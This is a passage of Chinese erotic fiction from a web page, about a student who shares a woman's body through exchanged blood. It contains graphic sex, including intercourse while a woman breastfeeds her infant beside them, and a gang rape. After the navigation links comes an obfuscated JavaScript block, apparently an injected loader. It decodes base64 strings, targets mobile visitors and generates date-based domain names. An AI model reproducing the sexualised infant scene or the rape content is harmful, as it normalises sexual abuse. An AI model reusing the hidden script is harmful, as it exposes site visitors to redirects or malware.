我一听,忍不住感到一个头两个大。小菁这女生,正在给我惹麻烦啊!还有弥雅的男友该怎么办?不过刚才实在太爽了,以后的事再说吧。*****

送了弥雅离开之后不久,房门又“咚咚咚”响了起来。

门一打开,只见澄雪大步冲了进来。

“志明!”澄雪非常有活力地大叫:“我来了唷!”

不过,奇怪的是,在澄雪身后,竟然跟着一个中年妇女。

“这是我妈!”澄雪指着中年妇女说:“我妈不放心让我自己来,所以她也要来看看!”

“原来是澄雪的妈妈。”小菁学着澄雪的语气大叫:“伯母好!”

“你想对我女儿干嘛?”澄雪的妈妈声色俱厉地说:“不准对她乱来!”“伯母,我是真心爱着你的女儿。”小菁大声说:“我向你保证,一定会好好疼澄雪,会照顾她一辈子!”

“喔喔……”澄雪的妈妈表情和缓下来,说:“看来你这年轻人还不错。”“谢谢伯母!”

“我听澄雪说,”澄雪的妈妈说:“你想要玩她的身体是吧?要玩可以,不过有个条件。”

“伯母请说!”

“我要在旁边看。”澄雪的妈妈说:“我要确定你不会伤害澄雪的身体。”“妈……”澄雪哭丧着脸,不甘愿地说。

我一听,差点没有晕过去。从她们的对话看来,澄雪的妈妈非常爱护澄雪,甚至到了保护过度的地步。

小菁这个天才少女,究竟使了什么手段,竟然让澄雪的妈妈答应让我上澄雪?还有,小菁这么一说,我不就多了一个丈母娘,以后该怎么办?

不过,既然有机会可以干炮,一切就交给小菁来处理,我只要在一旁静静地看就好了。

只见澄雪的妈妈,拉着椅子,坐了下来。小菁则是把澄雪推倒在床上,开始脱她的衣服。

澄雪今天穿着短袖蕾丝衬衫即膝裙,平常活泼开朗的她,总是穿着中性的打扮,今天却穿得这么有女人味,看来小菁把妹的功力真的非同小可。

不久,我的身体和澄雪的身体,已经一丝不挂,赤裸裸地呈现在对方面前。而澄雪的妈妈竟然一声不吭,默默地看着这一幕!

天啊,这是什么诡异的情景?

小菁轻轻抱起澄雪,两人身体交缠着,激烈地拥吻起来,小菁伸手到澄雪跨下,慢慢挑逗着澄雪的下体,澄雪则是一只手抓住鸡鸡,慢慢搓动着。

两人互相挑逗了一阵,小菁慢慢掰开澄雪的下体,伸出舌头舔了起来。这一切感觉,全都清楚地传进我的脑中。澄雪的下体有一股淡淡的臭鱼味,显然她很早就不是处女了,不过除了臭鱼味,还有一股浓浓的少女体香,闻得我心痒难搔,恨不得叫小菁快点督进去。

小菁舔了五分钟左右,澄雪的下体已经潮湿一片,阴道口全是淫水,闪着亮亮的光泽。

小菁终于扶着鸡巴,对准澄雪的阴道,轻轻一督,整只鸡巴就这样滑了进去。澄雪的妈妈在一旁看了,竟然还是保持默不吭声。

小菁的屁股开始前后运动,进进出出地抽插着澄雪的阴道。

龟头磨过阴道壁的触感,清楚地传入我脑中,瞬间我只觉得舒爽到极点。“啊、啊、啊、”随着小菁每一下冲刺,澄雪发出有节奏的呻吟声。现在是什么情形?我正在和澄雪做爱,而澄雪的妈妈正在一旁观看自己女儿上演的活春宫!

我开始担心澄雪的妈妈会突然跳起来,大喊“playone!”这样我就要干

那个老太婆,到时不知该如何是好。

幸好,这个恐怖的事始终没有发生。

此刻,我不但以旁观者的角度,看着自己和澄雪做爱,而且旁边还有个妈妈在看,我不禁感到一种被视奸的快感,妈呀,怎么这么白烂。

小菁冲刺了一阵,突然澄雪“啊啊啊啊啊”放声大叫,背嵴弓了起来,紧紧抱住我的身体,胸部紧紧贴在我的胸口,小腹一下一下地抽搐着,看来她已经高潮了。

同时,我感觉龟头传来一阵强烈的快感,我也快要射出来了……

就在同一个时刻的同一个瞬间,小菁把鸡巴抽了出来,用力搓动着,把精液全部射在澄雪的肚子上。

“好!非常好!”澄雪的妈妈站了起来,满意地说:“你这个年轻人还不错,没有射在我女儿身体里面!”

“谢谢伯母。”小菁大声地说。

“我的女儿,以后就交给你照顾了啊。”澄雪的妈妈说:“不能让她受伤害啊!”

澄雪的妈妈拍了拍我的肩膀,自顾自走了。

小菁和澄雪又聊了一下狗屁对话,这才帮澄雪穿上衣服,送澄雪离开房间。仔细算了一下,到目前为止,小菁才干了两个女生,还有两个女生没干才刚送澄雪离开不久,房门又“咚咚咚”响了起来。

门一打开,只见晴舒脸上带着微笑,大喇喇走了进来。

“嗨!”晴舒轻声说:“志明,我来找你啰。”

接下来要做爱的对象……是晴舒吗?我不禁暗暗兴奋地期待着。

晴舒是我们班上最正的女生,说她是系花也不为过……不对,应该说她是全科管院最正的女生……

不!甚至说她是全清大最正的女生,也不会太超过!

身高165的她,今天穿着细肩带小可爱,胸前硕大的D奶毫不害羞地挤了出来,乳沟清晰可见。

下半身是牛仔迷你裙,露出两截修长雪白的大腿。

她的身材,丰腴、饱满,却又不会过胖,紧身小可爱穿在她身上,看起来性感又妖娆,仿佛能让所有男人流下鼻血。

想不到小菁连这个清大第一正妹,也把到手了啊!我高兴得简直快发疯了……可是,因为晴舒很正,追求者自然也很多,就像少女漫画的情节一样,好几个男生争相追求她,最后当然是最帅、最强壮、功课最好、最有手段那个男生胜出。

想到这里,我不禁感到一阵担心,如果我干了晴舒的事传了出去,我以后还能在清大混下去吗?

反正,天塌下来,有小菁挡着。于是我躺在床上,放松心情,慢慢体验着和晴舒亲热的快感。

只见小菁和晴舒已经讲完废话,抱在一起,开始亲热了。

大概由于外面十分闷热,晴舒身上汗水淋漓,手臂和脖子闪着湿漉漉的光泽,这么一抱之下,晴舒身上浓厚的女人气息立刻涌入我鼻中。

天啊,正妹的汗果然是香的,我只感觉鼻中充满浓郁的芳香,妙不可言。“志明……我们做快一点。”晴舒说:“我等一下要和男友约会。”“我这么爱你,”小菁温柔地说:“要我做快一点,不是等于要我的命吗?”“好,没关系,你慢慢来吧。”

好个小菁,果然非常会哄女人,难怪连晴舒都被她骗到家里来。

小菁和晴舒身体贴着,双唇紧紧地贴在一起,舌头亲密地交缠,两人的手没有闲着,一边脱去彼此身体的束缚。

不久,我的身体和晴舒的身体,已经一丝不挂,赤裸裸地呈现在对方面前。天啊,晴舒的身体好漂亮,比小菁还漂亮。

她胸前垂着硕大的D奶,胸形是美丽的山峰形,粉红色的乳头往前翘起,像花苞一样挺立着。

再往下看,胸部下方是平坦的小腹,不会太瘦也不会太胖,再胖一点就会跑出肥油纹,小腹下方是长条形的阴毛,屁股又大又圆,从头到脚都是极品啊!

晴舒涨红了脸,鼻中细细喘着气,任由我的手在她身上游移,手掌传来的触感十分清晰地传入我的脑中,她的身体好软好嫩,胸部触感也很好。

接着,小菁轻轻把晴舒推倒在床上,拨开晴舒的双腿,嘴巴凑了上去,舌尖缓缓挑逗着。

小菁舔了一阵子,晴舒的下体已经湿淋淋一片,大阴唇敞开着,露出里面挂着晶莹水珠的小阴唇,以及紧紧闭合的阴道。

“我要插了喔。”小菁轻轻地说。

“好……慢慢进来。”晴舒娇喘着。

小菁扶着鸡巴,对准阴道,慢慢督了进去,把整只鸡巴都插了进去。“啊……”晴舒发出一声舒服的呻吟。

接着,小菁猛然用力一挺,顶着晴舒的阴道深处,接着往后退,又是一挺,再次撞击晴舒的身体。

就这样,小菁快速地抽动着,每一下都重重撞击着晴舒的身体内部。看来,小菁知道晴舒还有约会,想速战速决吧!

“啊、啊、啊、”小菁每挺进一次,晴舒就大声淫叫,同时背部整个弓了起来,臻首左右摇动,一头长发也随之甩来甩去,看起来好淫荡啊!

就在我们做得正高兴时,突然“砰”的一声,房门被人一脚踢开,一个高个子男人冲了进来。

我一看,登时吓得魂飞魄散!只见冲进来的男人,赫然就是晴舒的现任男友,外号流川枫的篮球社长!

“你他妈是哪来的俗仔,竟然敢搞我的马子?”流川枫大吼着:“晴舒,你和这个俗仔是什么关系?”

“啊、亲爱的。”晴舒大叫着:“我、我和他一点关系都没有,就只是朋友关系!”

“听你在齁览!”流川枫气得整张脸变紫色。“朋友搞到床上了是吧?”“这位大哥,”小菁满脸堆笑地说:“先不要生气,晴舒是很nice的,这其中一定有什么误会。”

“误你老木咧,误会。”流川枫抓起我的领子,一拳猫了下去。“我要把你打成猪头!”

我见状,知道不能再袖手旁观,立刻跳下床,冲进我的房间,大吼一声:“playone!”

“你他妈又是哪来的婊子?”流川枫看着我(也就是小菁的身体),大骂着。“我是他的女朋友。”我指着我的身体说:“要来参加这场轰啪!”“轰你老师咧,轰啪?”流川枫大吼着。

“我男友搞了你女友,所以我也跟你做爱吧!”我大叫着:“来吧,流川枫,快点上我吧。”

说完,我飞快地脱光全身衣服,小菁的身体就这样赤裸裸地呈现在众人面前。“原来是换妻俱乐部啊。”流川枫笑了起来。“看你还不错正,好,林北就陪你们玩一下!”

我不顾小菁一脸大便,不断对我使眼色,迳自躺到床上,掰开小菁的双腿。要是再放任这样下去,我不被打成猪头才怪。

流川枫脱下自己裤子,搓着他的鸡巴,朝我靠了过来。

他把鸡巴对准阴道,轻轻一挺,整只鸡巴就这样滑了进去。

此刻,小菁干着晴舒,流川枫干着我,竟然就这样开始玩起4P。

随着他每一下冲刺,我就感觉跨下窜出一阵阵快感,流窜到全身上下。“嗯……啊……!”我忍不住用小菁的嘴巴发出舒服的呻吟。

“俗仔,看三小?”流川枫瞪着小菁,说:“快点干啊!”

小菁一脸莫可奈何的样子,屁股动了起来,用同样的速度干着晴舒。“呀啊啊啊、啊!”晴舒也放声淫叫起来。

一时之间,整个房间内春色四溢,淫荡无比!

我们干了一阵子,接着换了姿势,我和晴舒趴在床上,面对面,脸靠得很近,流川枫和小菁改用老汉推车的姿势,从背后干着我和晴舒。

我被干得哇哇乱叫,突然晴舒的双唇覆上我的嘴,我们竟开始接吻起来。又干了一阵子,小菁和流川枫交换,换成小菁插我,流川枫插晴舒。插了大概五百多下,我们再度交换位置,我和晴舒不晓得高潮了几次,整个房间弥漫着女体分泌物和男人的汗味,一片淫靡!

终于,小菁和流川枫双双射精,全部射在我和晴舒的体内。

“干,还不错爽!”流川枫大笑着。“今天就放过你这俗仔!”

流川枫和晴舒穿上衣服,走出房间了。

****

“你在想什么!”小菁生气地吼着:“干嘛跑进来啦!人家的身体被那个臭男人干过了,很讨厌耶。”

“你差点害我被打成猪头。”我简直快气炸了,“还敢这样骂我?”“我高兴,要你管?”小菁嘟起嘴巴说。

就在这时,“咚咚咚”几声,又有人敲门。

门一打开,只见助教珮如站在门口,一脸敌意地瞪着我。

让我吃惊的是,她手上竟然抱着一个小婴儿!

“志明,我的小孩没人照顾,所以带过来了。”珮如对小菁笑着说:“这个女人是谁呀?”

“她只是邻居而已,来借砂糖的。”小菁塞了一包砂糖到我手中。“去去去,你快回去。”

我不甘愿地回到小菁的房间,将意识转回我的身上。

只见助教珮如优雅地坐在床上,正轻轻地哄着怀中的小baby。

珮如的外表相当年轻,一点也看不出是30岁的人妻,走在校园内常常被当成大学生。

身高163的她,留着一头长发,有着略显细长的鹅蛋脸,高挺的鼻子,算是个气质美女。

她穿着连身长裙,她平常都是这样打扮,更显出她文静的气质。

她已经结婚,还生小孩了,小菁这么做,完全没有罪恶感吗?我的天啊。只见小菁和珮如已经讲完废话,珮如把小baby放在床上,和小菁亲热起来。

她们拥吻着,小菁拉起珮如的裙脚,用力往上一拉,珮如整件衣服就这样被拉起来了。

接着,小菁又脱去珮如的胸罩和内裤,两人就这样赤裸裸地相对着。小菁把珮如推倒在床上,掰开她的双腿,伸手在她跨下轻轻抠弄着。虽然珮如外表像个大学生,但毕竟是熟女人妻,阴唇看起来又老又黑,歪七扭八的,不是很美观。

小菁把手指刺入珮如的阴道,放肆地抠着珮如的G点,另一只手沾了些淫水,在阴蒂上轻轻画圈,“啊……啊……”随着小菁的挑逗,珮如发出了娇嫩的呻吟声。

小菁逗弄了不久,珮如突然放声大叫,同时大腿紧紧夹了起来,一下又一下地抽搐着,已经被小菁弄到高潮了。

小菁见状,立刻掏出鸡巴搓了两下,对准珮如的阴道,慢慢督了进去,把鸡巴一直插到底。

瞬间,珮如那有点松垮的阴道,美妙的触感包围了我的龟头,真是舒爽无比。谁说熟女的阴道不好干?此刻,我的身体插着珮如松松的阴道,感觉别有一番风味!

小菁开始用力挺进,放肆地冲刺着。

“呀、啊、啊、啊、”随着小菁挺进的节奏,珮如发出了阵阵呻吟。这时,躺在一旁的小baby,突然“哇”的一声,哭了起来。

“不哭不哭喔,妈妈秀秀喔。”珮如一把抱起婴儿,轻轻摇晃着,嘴中一边呻吟,一边哄着小孩。

“你小孩多大?”小菁一边干着,一边问道。

“四个月大。”珮如说。“他很可爱吧。”

“嗯!”

“对不起,小孩肚子饿了,我餵一下奶。”珮如说。

说完,她把小孩的嘴巴凑上自己奶头,小baby立刻张嘴含住乳头,用力吸吮起来。

这时,小菁仍然控制我的身体,鸡巴不停干着珮如的阴道。

我的天啊,这是什么情景?我竟然干着一个人妻,而这人妻正在帮小孩餵奶!“呀、哎呀、哎唷……”珮如一边餵奶,嘴中仍然不停呻吟着。

看到这里,我再也忍不住,控制着我自己的身体,嘴巴凑向珮如另一边奶子,含住她的乳头吸了起来!

天啊,我竟然一边干着餵奶的女人,还一边吸她的母乳!

珮如母乳的味道,就像稀释很多倍的牛奶一样,淡淡的,没什么奶味,还带着一股淡淡的咸味。

此刻,我的身体,下半身不断干着阴道,嘴巴用力吸吮着奶子,大口喝着珮如的奶!

这个情景,实在让我太兴奋了,我感觉鼠蹊部越来越热,一股能量就要喷发出来。

终于,我的身体高潮了,龟头射出仅存的最后一点精液,全部射进珮如体内。这时,身体的控制权又被小菁抢回去。

小菁把我的嘴巴离开珮如的奶子,可是母乳仍然继续分泌着,奶头前端喷出一丝白色的乳母,全部喷在我的脸上!

天啊,这种感觉,真是他妈的爽啊!

“啊……对不起。”珮如说:“最近奶有点胀。”

“没关系。”小菁温柔地说:“只要是你的一切,我都很喜欢。”

*****

我还陶醉在刚刚被母乳颜射的快感中,这时,突然“咚咚咚”,有人敲小菁的房门。

究竟是谁来找小菁呢?我纳闷着打开门,只见那个叫王爸的女T,站在门口看着我。

“小菁。”王爸说:“我好想你唷。”

“王爸!”我敷衍着说。“我也想你。”

“小菁,陪我出去走走好吗?”王爸说。

嗯……四个女生都干完了,我好像也没事做,当然好啊。

“好呀。”我说:“你想去哪?”

“陪我去看夜景。”王爸说:“我们去南寮海边,好不好?”

王爸骑着小菁的机车,载着我,沿着东大路,一路来到了南寮渔港。时间已经是晚上九点,渔港边只剩三三两两的游客。

放眼望去,只见几栋蓝白相间的建筑,坐落在木头铺成的海岸边,对岸灯火通明,灯光映照在波光粼粼的海面上,映出一条条长条形的倒影,光影闪烁,炫目动人。

王爸牵着我,来到木头搭成的栏杆边,四周一片寂静,只听见海浪拍打岸边的声音,不规则地作响着。

南寮渔港据说是这几年才规划的游憩景点,今天亲身莅临,觉得灯光美、气氛佳,确实是情侣晚上幽会的好地点。

以后我交到女朋友,一定要带她来这里约会。

王爸趴在栏杆上,看着光影闪烁的海面,沉默不语。

突然,她转向我,捧起我的脸,双唇轻轻覆上我的嘴。

南寮海边,木制栏杆旁,我们激情地拥吻着。

虽然王爸是个男人婆,不过她毕竟是个女人,加上我现在是小菁,干脆做戏做到底,配合地伸出舌头和她紧紧交缠。

亲着亲着,她一只手开始不安分地在我身上游走。

她慢慢伸手到我跨下,拉开我的小短裤,拨开内裤,轻轻抠着我的阴道口。“啊……王爸……”我舒服地呻吟着:“要在这边吗……这样好吗?”“我忍不住了……”王爸低声说:“你也摸我吧……”

于是我也伸出手,从她的牛仔裤头伸进去,探入内裤,摸到她的阴蒂,轻轻抠弄着。

她下面已经潮湿一片,湿漉漉地满是淫水。

“啊……”我和她同时发出细微的呻吟。

不久,我和她双双高潮,抱在一起,靠在栏杆上,沉默不语。

“小菁,”她突然说:“你今天和我讲的那些话,我回去想了很久,还是觉得很困惑。”

“怎么说?”我问。

“我觉得,”王爸缓缓地说:“我还是当不了男人,我真的不知道该怎么当一个好男人,可是我也当不了女人,我到底该怎么办?告诉我,小菁,我到底该用什么样的面貌,活在这个世界上?”

我一听,登时感到一阵厌烦。

这男人婆怎么搞的?答案再明显不过了,她会如此优柔寡断、迟疑不决,这很明显是女人特质。

她为什么不干脆当个女人就好了呢?

“既然你生理上是女性,”我说:“那你何不认真当个女人呢?”

“我要怎么当女人?”她说。

“为什么不能当女人?”

“你看看我,看看我!”她大叫着:“我像个女人吗?我根本就不像女人,我天生长了一个男生的脸,可是却没有长鸡鸡!每次走进女生厕所,都要忍受着异样的眼光,我心中的痛苦,你能体会吗?”

“那么,”我说:“你不如把头发留长,稍微打扮一下,穿得比较女性化一点,举止多一点女人味,这样就像女人啦。”

“然后呢?”她大吼:“像那些同学一样吗?我要学那些同学,穿着很露的衣服,露大腿和手臂,把化妆品抹在脸上,自以为这样能吸引男人,整天等着男人来接近自己吗?”

“如果你不想那么被动……”我说:“那你就当个男人呀。”

“我没办法,我办不到!”她咆啸着:“我没有男人的魄力,也没有男人那样坚强的肩膀,我不能照顾你、养你一辈子、给你一个幸福的家,甚至现在这样交往,我都快要没有勇气继续下去,我能当一个好男人吗?”

“当男人其实不难。”我说:“男人其实也不是你想像中那么坚强、那么美好,男人也是人,也有脆弱的一面,也有失去勇气的时候。”

“我不想当那么废的男人!”她怒吼:“我要当全世界最好的男人,这样才配得上小菁,这样,才有资格照顾小菁一辈子!”

听到王爸讲这堆屁话,我不禁感到越来越火大。

这女T究竟有什么毛病?她根本一直在跳针鬼打墙。

忽然,我好像明白她的问题出在哪里了。

“你不要想那么多。”我说。

“我就知道,连小菁你也开始嫌我了。”王爸说:“为什么不能想这些?你告诉我答案呀,快点告诉我啊。”

“我们每个人来到世上,”我说:“性别从一开始,就是注定好的,身为男人就是男人,身为女人就是女人,不管是谁,都没办法体验另一个性别的生活方式。

“和异性交换意识这种事,是非常荒谬、非常唬烂,也不是每个人都能体验得到的。

世上大多数人,终其一生,不是当男人就是当女人,根本没有想那么多,一辈子就这样过去了。

既然如此,何不把自己的角色扮演好,好好过完这辈子呢?

“做你自己吧,王爸,你觉得你是女人,你就认真当个女人,好好打扮自己,找个男人结婚生子,传宗接代,这样不是也很好吗?

“你想当个男人,你就拿出勇气,把你自己变成理想中男人的样子,不要再这么优柔寡断,要果决一点,坚强一点,就算是你,也可以当一个好男人,难道不可能吗?

“更何况,也不是天生的性别,就注定了一切。现在变性手术这么发达,有人都可以从一个男儿身,变成鹅鹅鹅鹅鹅,你也可以考虑看看呀!

“所以,不要想那么多,做你自己就对了,不管是男人女人,只要能爱人就是幸福的人。这就是我的答案,这样讲,你明白了吗?”

只见王爸整张脸皱了起来,泪水有如溃堤般从眼中涌出,看起来真是丑不拉机。

“谢谢你,小菁……”王爸哭着说:“我终于明白了,做自己就对了,谢谢你……”

等等,这番感性又富有哲理的话,不是小菁讲的,而是我讲的啊!

看来,我刚帮王爸,解决了她内心长久以来的心理障碍。

说不定就连小菁这个天才少女也没办法开导王爸,却在我和小菁交换意识的情况下,让王爸走出心中的阴霾了。

王爸忽然扑了过来,紧紧地抱住我,抱得很紧很紧。

“乖,乖嘿。”我轻拍王爸的背,安抚着她。“不要哭啰,不哭不哭嘿。”这时,突然远处传来“轰∼轰∼”,像是许多摩托车的引擎声。

接着,五道光线由远而近,飞快冲了过来。

只见五台机车上面,骑着五个不良少年,身穿高职制服,大声谈笑着朝我们这边而来。

“糟糕,是飙车族。”我说:“我们快走。”

我四处张望,只见原本在附近的情侣们,已经走得一个不剩,只剩我和王爸两人。正当我们想要离开,已经来不及了。

“干,你们两个!”其中一个飙仔大叫。

“看到林北来,就想跑是不是?”另一个飙仔咆啸着。

“看不起人是不是?”

“干,你们是在邱三小?”

我和王爸才走出几步,五台机车已经骑到身边,围成一个半圆,将我们两人围在中间。

他们将机车熄火,脱掉白色安全帽,一脸不怀好意地跳下车。

那五个飙仔,第一人是个高个子,目测身高190,手上拿着一支棒球棍。第二人是个矮子,眼睛很小,贼嘻嘻地笑着,手上拿的是西瓜刀。

第三人是胖子,一脸横肉,满脸的肥油,手中握着扁钻,对我们挥舞着。第四人是个瘦子,瘦削的脸颊,好像吸毒犯一样,手上把玩着蝴蝶刀。第五人一看就知道他是坏人,长得凶神恶煞般,恶狠狠地瞪着我们,奇怪的是,他手中拿着的武器,赫然是一把折凳!

“嘿嘿,这里有两个小姐。”

“妹妹不要跑啊,来跟哥哥玩一下。”

“你们敢跑,林北就让你们见识,什么叫好折凳。”

王爸见到这群人来势汹汹,登时吓得花容失色,身体缩到我的背后,不断发抖。

糟糕,我心中大唿不妙,虽然王爸是个男人婆,但是,这里还有一个正妹,也就是小菁的身体呀!

如果小菁的身体落在飙仔手中,究竟会发生什么事,简直难以想像!想到这里,我赶紧将意识,转回我自己的身上。

“小菁!”我大叫,发现自己的身体还待在房间内,正看着A片。“事情不好了!”

“怎么了?”小菁说。

“你和王爸,被五个飙仔围住了!”

“啊!”小菁惊唿一声。“快点报警呀!”

“好,一定要先报警。”我大叫:“可是我不信任新竹的警察,我要自己过去救你们!”

“不行,你不要来!”

“不,我要去。”

“你……你不敢……”小菁颤抖着说。

“如果是救你的话,”我大声地说:“就算再怎么危险,我都敢!我现在骑车赶过去,你比较聪明,你把意识转回你身上,想办法拖延一下那几个飙仔!”

“好、好吧。”小菁说:“现在没有争论的余地,你小心一点。”

说完,小菁把自己的意识转回她自己身上了,我则是拿起电话,拨了110。“喂……”话筒另一端,传来有气无力的声音。

“南寮海边!”我大吼:“有两个女生被飙车族围起来了!”

“新竹有飙车族喔……?”

“那两个女生很危险,随时会被强暴!”

“是喔……”

“麻烦快点派人去拯救她们啊!”

“这样喔……”

这些警察到底在干嘛呀,怎么一副事不关己的样子!

“有五个机车骑士违规红灯右转!”我大吼。

“干,快点派人去抓啊,没有王法了吗?”

*****

我挂断电话,冲下楼,跳上机车,朝南寮方向奔驰而去。

等红灯的时候,我把意识转到小菁身上一看,不禁吓得魂飞魄散!只见小菁和王爸,已经被推倒在地上,正在被飙仔脱着裤子!

这样不行,那群警察一点用都没有,我一定要再快一点赶去解救小菁!想到这里,我不管眼前仍是红灯,油门一催,朝路口闯了过去。

突然一辆轿车从旁边冲过来,擦撞到我的机车尾,瞬间我只觉得天旋地转,身体飞了起来,重重摔在柏油路上。

我爬了起来,感觉脸上有血流了下来,可是我不管那么多,扶起机车,继续往前冲去。

一定,一定要快点去拯救小菁!

眼见前方的路上没什么障碍物,我把速度稍微放慢,把意识再转到小菁身上一看,登时大唿不妙!

只见王爸已经被那个拿着折凳的飙仔,霸王硬上弓,用力干着阴道!其他飙仔则是帮忙按住王爸的身体,脸上露着狞笑。

小菁在一旁,嘴中不停尖叫咒骂,但完全于事无补。

我再把意识转回自己身上,忽然发现自己已经快要撞到安全岛,根本没有闪避的余地,就这样撞了上去,再度摔车。

我用力跳起来,扶起车,看见自己大腿鲜血淋漓,血红一片,但是我顾不得疼痛,继续骑上车,朝南寮方向奔驰而去。

快点,还要再更快,绝对不能让小菁受到侵犯!

我把油门一口气催到底,以时速120公里的速度,一路狂飙,闯过无数红灯。

*****

我感到头晕目眩,身体快要没有力气,勉强支撑着,终于骑到南寮了。我四处张望了一下,立刻看见那群飙仔,正抓着小菁,准备要强暴她了。“干!”我冲了过去,对那群飙仔咆啸道:“有种不要欺负女人!”“干你娘,哪来的俗仔?”那矮子挥舞着西瓜刀,对我大声叫嚣。

“看不起人喔?”胖子说。

“干,你是在邱三小?”高个子怒吼着。

只见他们五人,放下了王爸和小菁,甩动着手中的武器,朝我走了过来。“有种来单挑啦,五个男人欺负女人,很屌吗?”不知道哪来的勇气,我面对五个凶神恶煞,毫不畏惧地呛了回去。

“干,俗仔很呛喔。”

“找死啊。”

“要好好修理他一下啊。”

那矮子大喝一声,五人立刻一拥而上,将我围在中间,手中的武器朝我身上攻击而来。

我感觉背嵴被棒球棒狠狠K着,蝴蝶刀刺进我的胸口,西瓜刀一下又一下砍着我的手臂,扁钻插入我的小腹,最可怕的是那把折凳,狠狠砸着我的脑袋,将我打得晕头转向,真不愧是七大武器之首!

不晓得过了多久,大概有一个世纪那么久,攻击终于停止了。

我全身无力,缓缓摊倒在地。

“靠腰,打死人啦!”

“打死人啦!”

“紧酸喔!”

那矮子大喊一声,五人立刻跳上车,瞬间逃逸得无影无踪。

“为什么!”小菁大哭着,扑到我身上。“为什么你要这样?”

“因为……”我用尽全身力气,从喉咙深处挤出这句话。“小菁,我喜欢你,非常非常喜欢。”

耳边隐约听见警笛声由远而近,唿啸着朝这里飞奔而来。

我感觉意识离我越来越远,属于我身体的那份意识正逐渐消失、飞散,最后,一切归于死寂。

就这样,我被飙仔活活打死了

是的,我死了。

我在第一回就讲过了,这个故事,是那么的痛,让我已经感觉到自己的死亡。它不是累积的一部分,而是占据了全部,成了我人生的终结。

因为,我是真的,已经死亡了。

但是,我的意识,并没有完全消失。在小菁体内,还有一部分我的血液,让我的意识得以存续,我还能思考、能控制小菁的身体。

然而,这并不是永久的。根据小菁的说法,人体会慢慢淘汰老旧的血液细胞,逐渐汰换成全新的红血球、白血球和血小板。

也就是说,慢慢地,我将会消失不见,再也不存在这个世界上。

这一系列创作,从第一回开始,就是我用小菁的身体,非常艰难地、一个字一个字敲出来的,希望能在我彻底消失之前,纪录下人生最后的故事。这段故事,可以说是一连串错误的选择,所累积而成的,是一场美丽的错误。

如果我没有认识小菁,我就不会让她练习抽血。

如果我没有让小菁练习抽血,我就不会和她交换血液。

如果我没有和小菁交换血液,我就不会和她共用意识。

如果没有这些事情,我就不可能知道,在南寮海边,木头搭起的岸上,发生了飙仔试图强暴小菁的事情。

当然,我也不会急忙赶过去营救,而被飙仔活活打死。

这一连串事件,仿佛都是安排好的,命中注定的,注定我要爱上小菁,并且为小菁而死。

我后悔吗?不会。至少,我很清楚知道,我完全没有丝毫后悔的感觉。因为我爱小菁。她是一个外表完美,聪明又古怪的女孩。不管是谁,一旦和小菁混熟,都会爱上她的。

至少,在我临死之前,我当了一个真正的男人,在心爱的人面临危难之际,我有那个勇气站出来,为她抵抗暴力。

在我人生的最后两个礼拜,我认识了小菁,还和她交换了血液,交换意识,体验了女人活在世上的感觉,并且彻彻底底地爱上了她。

那天之前,我是一个连把小菁扑倒的勇气,都没有的男人。可惜的是,在那之后,我再也没有机会展现我的勇气了。

我用小菁的身体,去了一趟台北,参加我的告别式。仪式中,我看见了我的家人,他们哭得好伤心,小菁也哭得好伤心,眼泪一直从她眼睛中流出来。

不晓得她是为了我而哭,还是单纯受到现场气氛影响,忍不住流泪呢?我希望是前者。

此刻,我感觉意识越来越模煳,快要没办法打字了。

我还有什么遗言要交待呢?

我被飙仔打死的事情,上了各大媒体头条,“清大资优生夜游遭飙仔打死”媒体是这样报导的。

我看到这个标题,不禁感到一阵心虚。是的,我根本不是什么资优生,我只是一个很混的、很普通的废物大学生。

这件事在网路上被热烈讨论着,网友号召“一人一信救新竹”,投书正副总统、行政院长及内政部长,唿吁他们关切案情,抗议政府未能有效处理新竹市飙车族横行伤人的重大治安问题,如果未能用心解决,将串连发动更大规模抗议。

希望,我的死亡,能够带给新竹治安,一个改善的开始。尽管只是一个开始、一个能让人注目的起点也好。

只是,那些高官们、那些坐在办公室吹冷气的警界高层,永远不会明白新竹街头有多危险。

他们只会睁一只眼闭一只眼,说着“新竹有飙车族吗?”然后汤圆一搓就继续打混摸鱼下去。

是的,在他们眼中,新竹根本没有飙车族,只有“拿着武器砍人的机车骑士”,他们永远不会明白,住在这座城市的小市民们,是如何心惊胆战地过着生活。

幸福城市,新竹是一座非常幸福的城市,高官们以为把这样一个头衔冠上去,百姓们就能真的幸福。

这个故事,给了我们什么教训?

我不知道。

如果硬要掰的话,我还是可以掰几个出来。

第一,我终于明白,所谓的正妹,其实不是那么难追,有时候只是需要男人多一点主动、多一点温柔和关怀,因为,正妹也是普通人而已。

第二,在我临死之前,我体验了正妹的身体和感觉,这对大多数人而言,是绝对不可能发生的事。如果能重来一遍,我一定要好好当个男人,当个有勇气和肩膀的男人。

第三,新竹的治安真的很差,晚上10点之后最好不要出门。

我已经快要无法控制小菁的手,一直打错字,敲键盘的节奏也断断续续。我就要消失在这个世界上,再也不存在了。

希望我的故事,能带给大家一丝欢笑、或者更奢侈一点,能让大家有那么一点体悟。

在最后的最后,我只有一个心愿。


上一篇:重生让我收获性福(01~07) (3/3)

下一篇:KTV的学生妹


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var 